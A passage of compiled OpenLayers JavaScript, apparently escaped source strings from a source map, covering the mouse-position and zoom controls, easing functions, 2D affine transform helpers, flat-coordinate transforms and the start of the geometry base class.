addEquivalentTransforms(EPSG4326_PROJECTIONS, EPSG3857_PROJECTIONS, fromEPSG4326, toEPSG4326);\n}\naddCommon();\n//# sourceMappingURL=proj.js.map","/**\n * @module ol/control/MousePosition\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport Control from './Control.js';\nimport EventType from '../pointer/EventType.js';\nimport { get as getProjection, getTransformFromProjections, getUserProjection, identityTransform, } from '../proj.js';\nimport { listen } from '../events.js';\n/**\n * @type {string}\n */\nvar PROJECTION = 'projection';\n/**\n * @type {string}\n */\nvar COORDINATE_FORMAT = 'coordinateFormat';\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"../ObjectEventType\").Types|\n * 'change:coordinateFormat'|'change:projection', import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"../ObjectEventType\").Types|\n * 'change:coordinateFormat'|'change:projection', Return>} MousePositionOnSignature\n */\n/**\n * @typedef {Object} Options\n * @property {string} [className='ol-mouse-position'] CSS class name.\n * @property {import(\"../coordinate.js\").CoordinateFormat} [coordinateFormat] Coordinate format.\n * @property {import(\"../proj.js\").ProjectionLike} [projection] Projection. Default is the view projection.\n * @property {function(import(\"../MapEvent.js\").default):void} [render] Function called when the\n * control should be re-rendered. This is called in a `requestAnimationFrame`\n * callback.\n * @property {HTMLElement|string} [target] Specify a target if you want the\n * control to be rendered outside of the map's viewport.\n * @property {string|boolean} [placeholder] Markup to show when the mouse position is not\n * available (e.g. when the pointer leaves the map viewport). By default, a non-breaking space\n * is rendered when the mouse leaves the viewport. To render something else, provide a string\n * to be used as the text content (e.g. 'no position' or '' for an empty string). Set the placeholder\n * to `false` to retain the last position when the mouse leaves the viewport. In a future release, this\n * will be the default behavior.\n * @property {string} [undefinedHTML=' '] This option is deprecated. Use the `placeholder` option instead.\n */\n/**\n * @classdesc\n * A control to show the 2D coordinates of the mouse cursor. By default, these\n * are in the view projection, but can be in any supported projection.\n * By default the control is shown in the top right corner of the map, but this\n * can be changed by using the css selector `.ol-mouse-position`.\n *\n * On touch devices, which usually do not have a mouse cursor, the coordinates\n * of the currently touched position are shown.\n *\n * @api\n */\nvar MousePosition = /** @class */ (function (_super) {\n __extends(MousePosition, _super);\n /**\n * @param {Options} [opt_options] Mouse position options.\n */\n function MousePosition(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n var element = document.createElement('div');\n element.className =\n options.className !== undefined ? options.className : 'ol-mouse-position';\n _this = _super.call(this, {\n element: element,\n render: options.render,\n target: options.target,\n }) || this;\n /***\n * @type {MousePositionOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {MousePositionOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {MousePositionOnSignature<void>}\n */\n _this.un;\n _this.addChangeListener(PROJECTION, _this.handleProjectionChanged_);\n if (options.coordinateFormat) {\n _this.setCoordinateFormat(options.coordinateFormat);\n }\n if (options.projection) {\n _this.setProjection(options.projection);\n }\n /**\n * Change this to `false` when removing the deprecated `undefinedHTML` option.\n * @type {boolean}\n */\n var renderOnMouseOut = true;\n /**\n * @type {string}\n */\n var placeholder = ' ';\n if ('undefinedHTML' in options) {\n // deprecated behavior\n if (options.undefinedHTML !== undefined) {\n placeholder = options.undefinedHTML;\n }\n renderOnMouseOut = !!placeholder;\n }\n else if ('placeholder' in options) {\n if (options.placeholder === false) {\n renderOnMouseOut = false;\n }\n else {\n placeholder = String(options.placeholder);\n }\n }\n /**\n * @private\n * @type {string}\n */\n _this.placeholder_ = placeholder;\n /**\n * @private\n * @type {boolean}\n */\n _this.renderOnMouseOut_ = renderOnMouseOut;\n /**\n * @private\n * @type {string}\n */\n _this.renderedHTML_ = element.innerHTML;\n /**\n * @private\n * @type {?import(\"../proj/Projection.js\").default}\n */\n _this.mapProjection_ = null;\n /**\n * @private\n * @type {?import(\"../proj.js\").TransformFunction}\n */\n _this.transform_ = null;\n return _this;\n }\n /**\n * @private\n */\n MousePosition.prototype.handleProjectionChanged_ = function () {\n this.transform_ = null;\n };\n /**\n * Return the coordinate format type used to render the current position or\n * undefined.\n * @return {import(\"../coordinate.js\").CoordinateFormat|undefined} The format to render the current\n * position in.\n * @observable\n * @api\n */\n MousePosition.prototype.getCoordinateFormat = function () {\n return /** @type {import(\"../coordinate.js\").CoordinateFormat|undefined} */ (this.get(COORDINATE_FORMAT));\n };\n /**\n * Return the projection that is used to report the mouse position.\n * @return {import(\"../proj/Projection.js\").default|undefined} The projection to report mouse\n * position in.\n * @observable\n * @api\n */\n MousePosition.prototype.getProjection = function () {\n return /** @type {import(\"../proj/Projection.js\").default|undefined} */ (this.get(PROJECTION));\n };\n /**\n * @param {MouseEvent} event Browser event.\n * @protected\n */\n MousePosition.prototype.handleMouseMove = function (event) {\n var map = this.getMap();\n this.updateHTML_(map.getEventPixel(event));\n };\n /**\n * @param {Event} event Browser event.\n * @protected\n */\n MousePosition.prototype.handleMouseOut = function (event) {\n this.updateHTML_(null);\n };\n /**\n * Remove the control from its current map and attach it to the new map.\n * Pass `null` to just remove the control from the current map.\n * Subclasses may set up event handlers to get notified about changes to\n * the map here.\n * @param {import(\"../PluggableMap.js\").default|null} map Map.\n * @api\n */\n MousePosition.prototype.setMap = function (map) {\n _super.prototype.setMap.call(this, map);\n if (map) {\n var viewport = map.getViewport();\n this.listenerKeys.push(listen(viewport, EventType.POINTERMOVE, this.handleMouseMove, this));\n if (this.renderOnMouseOut_) {\n this.listenerKeys.push(listen(viewport, EventType.POINTEROUT, this.handleMouseOut, this));\n }\n this.updateHTML_(null);\n }\n };\n /**\n * Set the coordinate format type used to render the current position.\n * @param {import(\"../coordinate.js\").CoordinateFormat} format The format to render the current\n * position in.\n * @observable\n * @api\n */\n MousePosition.prototype.setCoordinateFormat = function (format) {\n this.set(COORDINATE_FORMAT, format);\n };\n /**\n * Set the projection that is used to report the mouse position.\n * @param {import(\"../proj.js\").ProjectionLike} projection The projection to report mouse\n * position in.\n * @observable\n * @api\n */\n MousePosition.prototype.setProjection = function (projection) {\n this.set(PROJECTION, getProjection(projection));\n };\n /**\n * @param {?import(\"../pixel.js\").Pixel} pixel Pixel.\n * @private\n */\n MousePosition.prototype.updateHTML_ = function (pixel) {\n var html = this.placeholder_;\n if (pixel && this.mapProjection_) {\n if (!this.transform_) {\n var projection = this.getProjection();\n if (projection) {\n this.transform_ = getTransformFromProjections(this.mapProjection_, projection);\n }\n else {\n this.transform_ = identityTransform;\n }\n }\n var map = this.getMap();\n var coordinate = map.getCoordinateFromPixelInternal(pixel);\n if (coordinate) {\n var userProjection = getUserProjection();\n if (userProjection) {\n this.transform_ = getTransformFromProjections(this.mapProjection_, userProjection);\n }\n this.transform_(coordinate, coordinate);\n var coordinateFormat = this.getCoordinateFormat();\n if (coordinateFormat) {\n html = coordinateFormat(coordinate);\n }\n else {\n html = coordinate.toString();\n }\n }\n }\n if (!this.renderedHTML_ || html !== this.renderedHTML_) {\n this.element.innerHTML = html;\n this.renderedHTML_ = html;\n }\n };\n /**\n * Update the projection. Rendering of the coordinates is done in\n * `handleMouseMove` and `handleMouseUp`.\n * @param {import(\"../MapEvent.js\").default} mapEvent Map event.\n * @override\n */\n MousePosition.prototype.render = function (mapEvent) {\n var frameState = mapEvent.frameState;\n if (!frameState) {\n this.mapProjection_ = null;\n }\n else {\n if (this.mapProjection_ != frameState.viewState.projection) {\n this.mapProjection_ = frameState.viewState.projection;\n this.transform_ = null;\n }\n }\n };\n return MousePosition;\n}(Control));\nexport default MousePosition;\n//# sourceMappingURL=MousePosition.js.map","/**\n * @module ol/easing\n */\n/**\n * Start slow and speed up.\n * @param {number} t Input between 0 and 1.\n * @return {number} Output between 0 and 1.\n * @api\n */\nexport function easeIn(t) {\n return Math.pow(t, 3);\n}\n/**\n * Start fast and slow down.\n * @param {number} t Input between 0 and 1.\n * @return {number} Output between 0 and 1.\n * @api\n */\nexport function easeOut(t) {\n return 1 - easeIn(1 - t);\n}\n/**\n * Start slow, speed up, and then slow down again.\n * @param {number} t Input between 0 and 1.\n * @return {number} Output between 0 and 1.\n * @api\n */\nexport function inAndOut(t) {\n return 3 * t * t - 2 * t * t * t;\n}\n/**\n * Maintain a constant speed over time.\n * @param {number} t Input between 0 and 1.\n * @return {number} Output between 0 and 1.\n * @api\n */\nexport function linear(t) {\n return t;\n}\n/**\n * Start slow, speed up, and at the very end slow down again. This has the\n * same general behavior as {@link module:ol/easing.inAndOut}, but the final\n * slowdown is delayed.\n * @param {number} t Input between 0 and 1.\n * @return {number} Output between 0 and 1.\n * @api\n */\nexport function upAndDown(t) {\n if (t < 0.5) {\n return inAndOut(2 * t);\n }\n else {\n return 1 - inAndOut(2 * (t - 0.5));\n }\n}\n//# sourceMappingURL=easing.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/control/Zoom\n */\nimport Control from './Control.js';\nimport EventType from '../events/EventType.js';\nimport { CLASS_CONTROL, CLASS_UNSELECTABLE } from '../css.js';\nimport { easeOut } from '../easing.js';\n/**\n * @typedef {Object} Options\n * @property {number} [duration=250] Animation duration in milliseconds.\n * @property {string} [className='ol-zoom'] CSS class name.\n * @property {string} [zoomInClassName=className + '-in'] CSS class name for the zoom-in button.\n * @property {string} [zoomOutClassName=className + '-out'] CSS class name for the zoom-out button.\n * @property {string|HTMLElement} [zoomInLabel='+'] Text label to use for the zoom-in\n * button. Instead of text, also an element (e.g. a `span` element) can be used.\n * @property {string|HTMLElement} [zoomOutLabel='–'] Text label to use for the zoom-out button.\n * Instead of text, also an element (e.g. a `span` element) can be used.\n * @property {string} [zoomInTipLabel='Zoom in'] Text label to use for the button tip.\n * @property {string} [zoomOutTipLabel='Zoom out'] Text label to use for the button tip.\n * @property {number} [delta=1] The zoom delta applied on each click.\n * @property {HTMLElement|string} [target] Specify a target if you want the control to be\n * rendered outside of the map's viewport.\n */\n/**\n * @classdesc\n * A control with 2 buttons, one for zoom in and one for zoom out.\n * This control is one of the default controls of a map. To style this control\n * use css selectors `.ol-zoom-in` and `.ol-zoom-out`.\n *\n * @api\n */\nvar Zoom = /** @class */ (function (_super) {\n __extends(Zoom, _super);\n /**\n * @param {Options} [opt_options] Zoom options.\n */\n function Zoom(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n _this = _super.call(this, {\n element: document.createElement('div'),\n target: options.target,\n }) || this;\n var className = options.className !== undefined ? options.className : 'ol-zoom';\n var delta = options.delta !== undefined ? options.delta : 1;\n var zoomInClassName = options.zoomInClassName !== undefined\n ? options.zoomInClassName\n : className + '-in';\n var zoomOutClassName = options.zoomOutClassName !== undefined\n ? options.zoomOutClassName\n : className + '-out';\n var zoomInLabel = options.zoomInLabel !== undefined ? options.zoomInLabel : '+';\n var zoomOutLabel = options.zoomOutLabel !== undefined ? options.zoomOutLabel : '\\u2013';\n var zoomInTipLabel = options.zoomInTipLabel !== undefined ? options.zoomInTipLabel : 'Zoom in';\n var zoomOutTipLabel = options.zoomOutTipLabel !== undefined\n ? options.zoomOutTipLabel\n : 'Zoom out';\n var inElement = document.createElement('button');\n inElement.className = zoomInClassName;\n inElement.setAttribute('type', 'button');\n inElement.title = zoomInTipLabel;\n inElement.appendChild(typeof zoomInLabel === 'string'\n ? document.createTextNode(zoomInLabel)\n : zoomInLabel);\n inElement.addEventListener(EventType.CLICK, _this.handleClick_.bind(_this, delta), false);\n var outElement = document.createElement('button');\n outElement.className = zoomOutClassName;\n outElement.setAttribute('type', 'button');\n outElement.title = zoomOutTipLabel;\n outElement.appendChild(typeof zoomOutLabel === 'string'\n ? document.createTextNode(zoomOutLabel)\n : zoomOutLabel);\n outElement.addEventListener(EventType.CLICK, _this.handleClick_.bind(_this, -delta), false);\n var cssClasses = className + ' ' + CLASS_UNSELECTABLE + ' ' + CLASS_CONTROL;\n var element = _this.element;\n element.className = cssClasses;\n element.appendChild(inElement);\n element.appendChild(outElement);\n /**\n * @type {number}\n * @private\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 250;\n return _this;\n }\n /**\n * @param {number} delta Zoom delta.\n * @param {MouseEvent} event The event to handle\n * @private\n */\n Zoom.prototype.handleClick_ = function (delta, event) {\n event.preventDefault();\n this.zoomByDelta_(delta);\n };\n /**\n * @param {number} delta Zoom delta.\n * @private\n */\n Zoom.prototype.zoomByDelta_ = function (delta) {\n var map = this.getMap();\n var view = map.getView();\n if (!view) {\n // the map does not have a view, so we can't act\n // upon it\n return;\n }\n var currentZoom = view.getZoom();\n if (currentZoom !== undefined) {\n var newZoom = view.getConstrainedZoom(currentZoom + delta);\n if (this.duration_ > 0) {\n if (view.getAnimating()) {\n view.cancelAnimations();\n }\n view.animate({\n zoom: newZoom,\n duration: this.duration_,\n easing: easeOut,\n });\n }\n else {\n view.setZoom(newZoom);\n }\n }\n };\n return Zoom;\n}(Control));\nexport default Zoom;\n//# sourceMappingURL=Zoom.js.map","/**\n * @module ol/transform\n */\nimport { WORKER_OFFSCREEN_CANVAS } from './has.js';\nimport { assert } from './asserts.js';\n/**\n * An array representing an affine 2d transformation for use with\n * {@link module:ol/transform} functions. The array has 6 elements.\n * @typedef {!Array<number>} Transform\n * @api\n */\n/**\n * Collection of affine 2d transformation functions. The functions work on an\n * array of 6 elements. The element order is compatible with the [SVGMatrix\n * interface](https://developer.mozilla.org/en-US/docs/Web/API/SVGMatrix) and is\n * a subset (elements a to f) of a 3×3 matrix:\n * ```\n * [ a c e ]\n * [ b d f ]\n * [ 0 0 1 ]\n * ```\n */\n/**\n * @private\n * @type {Transform}\n */\nvar tmp_ = new Array(6);\n/**\n * Create an identity transform.\n * @return {!Transform} Identity transform.\n */\nexport function create() {\n return [1, 0, 0, 1, 0, 0];\n}\n/**\n * Resets the given transform to an identity transform.\n * @param {!Transform} transform Transform.\n * @return {!Transform} Transform.\n */\nexport function reset(transform) {\n return set(transform, 1, 0, 0, 1, 0, 0);\n}\n/**\n * Multiply the underlying matrices of two transforms and return the result in\n * the first transform.\n * @param {!Transform} transform1 Transform parameters of matrix 1.\n * @param {!Transform} transform2 Transform parameters of matrix 2.\n * @return {!Transform} transform1 multiplied with transform2.\n */\nexport function multiply(transform1, transform2) {\n var a1 = transform1[0];\n var b1 = transform1[1];\n var c1 = transform1[2];\n var d1 = transform1[3];\n var e1 = transform1[4];\n var f1 = transform1[5];\n var a2 = transform2[0];\n var b2 = transform2[1];\n var c2 = transform2[2];\n var d2 = transform2[3];\n var e2 = transform2[4];\n var f2 = transform2[5];\n transform1[0] = a1 * a2 + c1 * b2;\n transform1[1] = b1 * a2 + d1 * b2;\n transform1[2] = a1 * c2 + c1 * d2;\n transform1[3] = b1 * c2 + d1 * d2;\n transform1[4] = a1 * e2 + c1 * f2 + e1;\n transform1[5] = b1 * e2 + d1 * f2 + f1;\n return transform1;\n}\n/**\n * Set the transform components a-f on a given transform.\n * @param {!Transform} transform Transform.\n * @param {number} a The a component of the transform.\n * @param {number} b The b component of the transform.\n * @param {number} c The c component of the transform.\n * @param {number} d The d component of the transform.\n * @param {number} e The e component of the transform.\n * @param {number} f The f component of the transform.\n * @return {!Transform} Matrix with transform applied.\n */\nexport function set(transform, a, b, c, d, e, f) {\n transform[0] = a;\n transform[1] = b;\n transform[2] = c;\n transform[3] = d;\n transform[4] = e;\n transform[5] = f;\n return transform;\n}\n/**\n * Set transform on one matrix from another matrix.\n * @param {!Transform} transform1 Matrix to set transform to.\n * @param {!Transform} transform2 Matrix to set transform from.\n * @return {!Transform} transform1 with transform from transform2 applied.\n */\nexport function setFromArray(transform1, transform2) {\n transform1[0] = transform2[0];\n transform1[1] = transform2[1];\n transform1[2] = transform2[2];\n transform1[3] = transform2[3];\n transform1[4] = transform2[4];\n transform1[5] = transform2[5];\n return transform1;\n}\n/**\n * Transforms the given coordinate with the given transform returning the\n * resulting, transformed coordinate. The coordinate will be modified in-place.\n *\n * @param {Transform} transform The transformation.\n * @param {import(\"./coordinate.js\").Coordinate|import(\"./pixel.js\").Pixel} coordinate The coordinate to transform.\n * @return {import(\"./coordinate.js\").Coordinate|import(\"./pixel.js\").Pixel} return coordinate so that operations can be\n * chained together.\n */\nexport function apply(transform, coordinate) {\n var x = coordinate[0];\n var y = coordinate[1];\n coordinate[0] = transform[0] * x + transform[2] * y + transform[4];\n coordinate[1] = transform[1] * x + transform[3] * y + transform[5];\n return coordinate;\n}\n/**\n * Applies rotation to the given transform.\n * @param {!Transform} transform Transform.\n * @param {number} angle Angle in radians.\n * @return {!Transform} The rotated transform.\n */\nexport function rotate(transform, angle) {\n var cos = Math.cos(angle);\n var sin = Math.sin(angle);\n return multiply(transform, set(tmp_, cos, sin, -sin, cos, 0, 0));\n}\n/**\n * Applies scale to a given transform.\n * @param {!Transform} transform Transform.\n * @param {number} x Scale factor x.\n * @param {number} y Scale factor y.\n * @return {!Transform} The scaled transform.\n */\nexport function scale(transform, x, y) {\n return multiply(transform, set(tmp_, x, 0, 0, y, 0, 0));\n}\n/**\n * Creates a scale transform.\n * @param {!Transform} target Transform to overwrite.\n * @param {number} x Scale factor x.\n * @param {number} y Scale factor y.\n * @return {!Transform} The scale transform.\n */\nexport function makeScale(target, x, y) {\n return set(target, x, 0, 0, y, 0, 0);\n}\n/**\n * Applies translation to the given transform.\n * @param {!Transform} transform Transform.\n * @param {number} dx Translation x.\n * @param {number} dy Translation y.\n * @return {!Transform} The translated transform.\n */\nexport function translate(transform, dx, dy) {\n return multiply(transform, set(tmp_, 1, 0, 0, 1, dx, dy));\n}\n/**\n * Creates a composite transform given an initial translation, scale, rotation, and\n * final translation (in that order only, not commutative).\n * @param {!Transform} transform The transform (will be modified in place).\n * @param {number} dx1 Initial translation x.\n * @param {number} dy1 Initial translation y.\n * @param {number} sx Scale factor x.\n * @param {number} sy Scale factor y.\n * @param {number} angle Rotation (in counter-clockwise radians).\n * @param {number} dx2 Final translation x.\n * @param {number} dy2 Final translation y.\n * @return {!Transform} The composite transform.\n */\nexport function compose(transform, dx1, dy1, sx, sy, angle, dx2, dy2) {\n var sin = Math.sin(angle);\n var cos = Math.cos(angle);\n transform[0] = sx * cos;\n transform[1] = sy * sin;\n transform[2] = -sx * sin;\n transform[3] = sy * cos;\n transform[4] = dx2 * sx * cos - dy2 * sx * sin + dx1;\n transform[5] = dx2 * sy * sin + dy2 * sy * cos + dy1;\n return transform;\n}\n/**\n * Creates a composite transform given an initial translation, scale, rotation, and\n * final translation (in that order only, not commutative). The resulting transform\n * string can be applied as `transform` property of an HTMLElement's style.\n * @param {number} dx1 Initial translation x.\n * @param {number} dy1 Initial translation y.\n * @param {number} sx Scale factor x.\n * @param {number} sy Scale factor y.\n * @param {number} angle Rotation (in counter-clockwise radians).\n * @param {number} dx2 Final translation x.\n * @param {number} dy2 Final translation y.\n * @return {string} The composite css transform.\n * @api\n */\nexport function composeCssTransform(dx1, dy1, sx, sy, angle, dx2, dy2) {\n return toString(compose(create(), dx1, dy1, sx, sy, angle, dx2, dy2));\n}\n/**\n * Invert the given transform.\n * @param {!Transform} source The source transform to invert.\n * @return {!Transform} The inverted (source) transform.\n */\nexport function invert(source) {\n return makeInverse(source, source);\n}\n/**\n * Invert the given transform.\n * @param {!Transform} target Transform to be set as the inverse of\n * the source transform.\n * @param {!Transform} source The source transform to invert.\n * @return {!Transform} The inverted (target) transform.\n */\nexport function makeInverse(target, source) {\n var det = determinant(source);\n assert(det !== 0, 32); // Transformation matrix cannot be inverted\n var a = source[0];\n var b = source[1];\n var c = source[2];\n var d = source[3];\n var e = source[4];\n var f = source[5];\n target[0] = d / det;\n target[1] = -b / det;\n target[2] = -c / det;\n target[3] = a / det;\n target[4] = (c * f - d * e) / det;\n target[5] = -(a * f - b * e) / det;\n return target;\n}\n/**\n * Returns the determinant of the given matrix.\n * @param {!Transform} mat Matrix.\n * @return {number} Determinant.\n */\nexport function determinant(mat) {\n return mat[0] * mat[3] - mat[1] * mat[2];\n}\n/**\n * @type {HTMLElement}\n * @private\n */\nvar transformStringDiv;\n/**\n * A rounded string version of the transform. This can be used\n * for CSS transforms.\n * @param {!Transform} mat Matrix.\n * @return {string} The transform as a string.\n */\nexport function toString(mat) {\n var transformString = 'matrix(' + mat.join(', ') + ')';\n if (WORKER_OFFSCREEN_CANVAS) {\n return transformString;\n }\n var node = transformStringDiv || (transformStringDiv = document.createElement('div'));\n node.style.transform = transformString;\n return node.style.transform;\n}\n//# sourceMappingURL=transform.js.map","/**\n * @module ol/geom/GeometryLayout\n */\n/**\n * The coordinate layout for geometries, indicating whether a 3rd or 4th z ('Z')\n * or measure ('M') coordinate is available. Supported values are `'XY'`,\n * `'XYZ'`, `'XYM'`, `'XYZM'`.\n * @enum {string}\n */\nexport default {\n XY: 'XY',\n XYZ: 'XYZ',\n XYM: 'XYM',\n XYZM: 'XYZM',\n};\n//# sourceMappingURL=GeometryLayout.js.map","/**\n * @module ol/geom/flat/transform\n */\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @param {Array<number>} [opt_dest] Destination.\n * @return {Array<number>} Transformed coordinates.\n */\nexport function transform2D(flatCoordinates, offset, end, stride, transform, opt_dest) {\n var dest = opt_dest ? opt_dest : [];\n var i = 0;\n for (var j = offset; j < end; j += stride) {\n var x = flatCoordinates[j];\n var y = flatCoordinates[j + 1];\n dest[i++] = transform[0] * x + transform[2] * y + transform[4];\n dest[i++] = transform[1] * x + transform[3] * y + transform[5];\n }\n if (opt_dest && dest.length != i) {\n dest.length = i;\n }\n return dest;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} angle Angle.\n * @param {Array<number>} anchor Rotation anchor point.\n * @param {Array<number>} [opt_dest] Destination.\n * @return {Array<number>} Transformed coordinates.\n */\nexport function rotate(flatCoordinates, offset, end, stride, angle, anchor, opt_dest) {\n var dest = opt_dest ? opt_dest : [];\n var cos = Math.cos(angle);\n var sin = Math.sin(angle);\n var anchorX = anchor[0];\n var anchorY = anchor[1];\n var i = 0;\n for (var j = offset; j < end; j += stride) {\n var deltaX = flatCoordinates[j] - anchorX;\n var deltaY = flatCoordinates[j + 1] - anchorY;\n dest[i++] = anchorX + deltaX * cos - deltaY * sin;\n dest[i++] = anchorY + deltaX * sin + deltaY * cos;\n for (var k = j + 2; k < j + stride; ++k) {\n dest[i++] = flatCoordinates[k];\n }\n }\n if (opt_dest && dest.length != i) {\n dest.length = i;\n }\n return dest;\n}\n/**\n * Scale the coordinates.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} sx Scale factor in the x-direction.\n * @param {number} sy Scale factor in the y-direction.\n * @param {Array<number>} anchor Scale anchor point.\n * @param {Array<number>} [opt_dest] Destination.\n * @return {Array<number>} Transformed coordinates.\n */\nexport function scale(flatCoordinates, offset, end, stride, sx, sy, anchor, opt_dest) {\n var dest = opt_dest ? opt_dest : [];\n var anchorX = anchor[0];\n var anchorY = anchor[1];\n var i = 0;\n for (var j = offset; j < end; j += stride) {\n var deltaX = flatCoordinates[j] - anchorX;\n var deltaY = flatCoordinates[j + 1] - anchorY;\n dest[i++] = anchorX + sx * deltaX;\n dest[i++] = anchorY + sy * deltaY;\n for (var k = j + 2; k < j + stride; ++k) {\n dest[i++] = flatCoordinates[k];\n }\n }\n if (opt_dest && dest.length != i) {\n dest.length = i;\n }\n return dest;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} deltaX Delta X.\n * @param {number} deltaY Delta Y.\n * @param {Array<number>} [opt_dest] Destination.\n * @return {Array<number>} Transformed coordinates.\n */\nexport function translate(flatCoordinates, offset, end, stride, deltaX, deltaY, opt_dest) {\n var dest = opt_dest ? opt_dest : [];\n var i = 0;\n for (var j = offset; j < end; j += stride) {\n dest[i++] = flatCoordinates[j] + deltaX;\n dest[i++] = flatCoordinates[j + 1] + deltaY;\n for (var k = j + 2; k < j + stride; ++k) {\n dest[i++] = flatCoordinates[k];\n }\n }\n if (opt_dest && dest.length != i) {\n dest.length = i;\n }\n return dest;\n}\n//# sourceMappingURL=transform.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/Geometry\n */\nimport BaseObject from '../Object.js';\nimport Units from '../proj/Units.js';\nimport { abstract } from '../util.js';\nimport { compose as composeTransform, create as createTransform, } from '../transform.js';\nimport { createEmpty, createOrUpdateEmpty, getHeight, returnOrUpdate, } from '../extent.js';\nimport { get as getProjection, getTransform } from '../proj.js';\nimport { memoizeOne } from '../functions.js';\nimport { transform2D } from './flat/transform.js';\n/**\n * @typedef {'Point' | 'LineString' | 'LinearRing' | 'Polygon' | 'MultiPoint' | 'MultiLineString' | 'MultiPolygon' | 'GeometryCollection' | 'Circle'} Type\n * The geometry type. One of `'Point'`, `'LineString'`, `'LinearRing'`,\n * `'Polygon'`, `'MultiPoint'`, `'MultiLineString'`, `'MultiPolygon'`,\n * `'GeometryCollection'`, or `'Circle'`.\n */\n/**\n * @type {import(\"../transform.js\").Transform}\n */\nvar tmpTransform = createTransform();\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * Base class for vector geometries.\n *\n * To get notified of changes to the geometry, register a listener for the\n * generic `change` event on your geometry instance.\n *\n * @abstract\n * @api\n */\nvar Geometry = /** @class */ (function (_super) {\n __extends(Geometry, _super);\n function Geometry() {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {import(\"../extent.js\").Extent}\n */\n _this.extent_ = createEmpty();\n /**\n * @private\n * @type {number}\n */\n _this.extentRevision_ = -1;\n /**\n * @protected\n * @type {number}\n */\n _this.simplifiedGeometryMaxMinSquaredTolerance = 0;\n /**\n * @protected\n * @type {number}\n */\n _this.simplifiedGeometryRevision = 0;\n /**\n * Get a transformed and simplified version of the geometry.\n * @abstract\n * @param {number} revision The geometry revision.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {import(\"../proj.js\").TransformFunction} [opt_transform] Optional transform function.\n * @return {Geometry} Simplified geometry.\n */\n _this.simplifyTransformedInternal = memoizeOne(function (revision, squaredTolerance, opt_transform) {\n if (!opt_transform) {\n return this.getSimplifiedGeometry(squaredTolerance);\n }\n var clone = this.clone();\n clone.applyTransform(opt_transform);\n return clone.getSimplifiedGeometry(squaredTolerance);\n });\n return _this;\n }\n /**\n * Get a transformed and simplified version of the geometry.\n * @abstract\n * @param {number} squaredTolerance Squared tolerance.\n * @param {import(\"../proj.js\").TransformFunction} [opt_transform] Optional transform function.\n * @return {Geometry} Simplified geometry.\n */\n Geometry.prototype.simplifyTransformed = function (squaredTolerance, opt_transform) {\n return this.simplifyTransformedInternal(this.getRevision(), squaredTolerance, opt_transform);\n };\n /**\n * Make a complete copy of the geometry.\n * @abstract\n * @return {!Geometry} Clone.\n */\n Geometry.prototype.clone = function () {\n return abstract();\n };\n /**\n * @abstract\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n Geometry.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n return abstract();\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @return {boolean} Contains (x, y).\n */\n Geometry.prototype.containsXY = function (x, y) {\n var coord = this.getClosestPoint([x, y]);\n return coord[0] === x && coord[1] === y;\n };\n /**\n * Return the closest point of the geometry to the passed point as\n * {@link module:ol/coordinate~Coordinate coordinate}.\n * @param {import(\"../coordinate.js\").Coordinate} point Point.\n * @param 